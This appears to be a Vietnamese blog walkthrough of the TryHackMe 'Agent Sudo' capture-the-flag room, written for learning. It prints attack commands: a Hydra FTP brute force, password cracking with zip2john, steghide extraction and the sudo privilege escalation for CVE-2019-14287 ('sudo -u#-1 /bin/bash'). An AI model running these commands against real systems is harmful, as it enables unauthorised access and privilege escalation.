ĐẠI LÝ SUDO TRÊN TRYHACKME

Jan 14 2023

Phòng thử thách trong đường dẫn dành cho người mới bắt đầu trong Đặc vụ sudo trong Tryhackme Phòng thí nghiệm Khá chậm nên chúng tôi phải chờ quá trình quét cổng. Vì vậy, hãy bắt đầu có rất nhiều điều để tìm hiểu.

Căn phòng thử thách trong con đường dành cho người mới bắt đầu trong Đặc vụ sudo trong Tryhackme

Phòng thí nghiệm khá chậm, vì vậy chúng tôi phải chờ quá trình quét cổng.

Vì vậy, hãy bắt đầu có rất nhiều điều để tìm hiểu.

A) Đầu tiên chúng ta sẽ làm NMAP

nmap -sV -sC -A 10.10.111.153

vì vậy chúng tôi tìm trong cổng 80 trang web nào đang chạy trên http

Nó nói thay đổi Tác nhân người dùng để bỏ qua trang này, vậy chúng tôi có thể làm gì?

Chúng tôi sử dụng công cụ proxy 'Bursuite' nó là gì? công cụ được sử dụng để thử nghiệm thâm nhập.

Sử dụng ợ để chặn yêu cầu Bây giờ hãy thay đổi tác nhân người dùng thành C

Với Tác nhân người dùng được đặt thành C, chúng tôi được chuyển hướng đến http://10.10.111.153/agent_C_attention.php, nơi chúng tôi có thể thấy thông báo sau:

Tôi cho rằng “chris” phải là người dùng hệ thống.

vậy chúng ta có thể làm gì ở đây?

Bây giờ chúng tôi biết tên người dùng là chris vì vậy chúng tôi có thể sử dụng 'Hydra' để lấy thông tin đăng nhập FTP của người dùng.

gõ vào

hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.111.153

đăng nhập bằng FTP Credentials

ftp 10.10.111.153

Chúng ta có thể sử dụng công cụ Exiftool hoặc steghide để lấy siêu dữ liệu của hình ảnh.

Bây giờ hãy duyệt các tệp và trong cutie.png, chúng tôi đã tìm thấy thứ gì đó

binwalk -e cutie.png

      
                
                    
                    
       which extracted all the hidden files in it.

Bây giờ chúng ta cần bẻ khóa mật khẩu cho tệp 8702.zip

zip2john 8702.zip > out.txt
jonh --wordlist=/usr/share/wordlists/rockyou.txt out.txt

Bây giờ giải nén nội dung

7z e 8702.zip

cat To_agentR.txt

echo "QXJlYTUx" | base64 -d

Bây giờ, hãy trích xuất văn bản hoặc tệp từ cute-alien.jpg

steghide extract -sf cute-alien.jpg
# Enter Area51 as passphrase
cat message.txt

Bước tiếp theo là chúng tôi cố gắng đăng nhập bằng thông tin đăng nhập SSH

ssh [email protected]

Chúng tôi có cờ người dùng!

chúng tôi cố gắng lấy Alien autospy.jpg bằng cách nhập

sudo scp [email protected]:Alien_autospy.jpg

Khám nghiệm tử thi người ngoài hành tinh Rosswell

Để lấy cờ gốc, chúng tôi cần kiểm tra xem chúng tôi có những quyền hoặc đặc quyền nào

Đây là một chút tryckier. Đầu tiên gõ lệnh.

sudo -l

CVE-2019–14287

Nâng cấp đặc quyền

sudo -u#-1 /bin/bash

Bây giờ chúng tôi đã có tất cả các Câu trả lời của mình, hãy gửi nó và chúng tôi đã hoàn thành thành công CTF của mình !!